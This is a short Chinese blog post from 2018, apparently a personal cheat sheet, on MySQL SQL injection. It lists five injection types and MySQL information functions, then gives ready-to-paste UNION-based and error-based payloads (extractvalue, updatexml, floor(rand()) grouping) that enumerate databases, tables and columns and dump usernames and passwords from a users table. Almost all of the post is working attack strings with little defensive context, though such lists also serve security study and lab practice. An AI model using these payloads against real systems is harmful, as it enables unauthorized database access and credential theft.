mysql注入

SQL的注入类型有以下5种:


Boolean-based blind SQL injection(布尔型注入)

Error-based SQL injection(报错型注入)

UNION query SQL injection(可联合查询注入)

Stacked queries SQL injection(可多语句查询注入)

Time-based blind SQL injection(基于时间延迟注入)

 

system_user() 系统用户名
user() 用户名
current_user 当前用户名
session_user()连接数据库的用户名
database() 数据库名
version() MYSQL数据库版本
load_file() MYSQL读取本地文件的函数
@@datadir 读取数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os 操作系统 Windows Server 2003

联合查询

union select concat('~',user(),database(),version())from users 链接函数将内容在一个显错位一起爆出来

union select group_concat(schema_name) from information_schema.schemata 爆全部的库名

union select table_name from information_schema.tables where table_schema=0x7365637572697479 爆表名

union select group_concat(table_name)from information_schema.tables where table_schema=database() 爆表名

union select column_name from information_schema.columns where table_name=0x7573657273 爆列名

SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columns  爆全部列名

union select concat_ws('~',id,username,PASSWORD) from users 爆内容

union select concat_ws(char(32,126,32),id,username,PASSWORD) from users 爆内容

union select concat_ws(char(32,126,32),`id`,`username`,`PASSWORD`) from users 爆内容

union select 1,group_concat(username,0x3a,password),3 from users 爆内容


报错查询
and 1=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) 爆全部表

或者
and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+ 爆全部表


and extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name=0x7573657273))) 爆全部列

 

 and extractvalue(1,concat(0x7e,(select group_concat(id,username,password)from users ))) 爆全部内容

and 1=extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you'))))爆全部内容 用not in

 

mysql报错主要分为三种方式

报错型注入常用语句

and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)
and 1=updatexml(1,concat(0x7e,(select database())),1)
and 1=extractvalue(1,concat(0x7e,(select database())))

posted @ 2018-07-04 20:12  风水师  阅读(391)  评论(0编辑  收藏  举报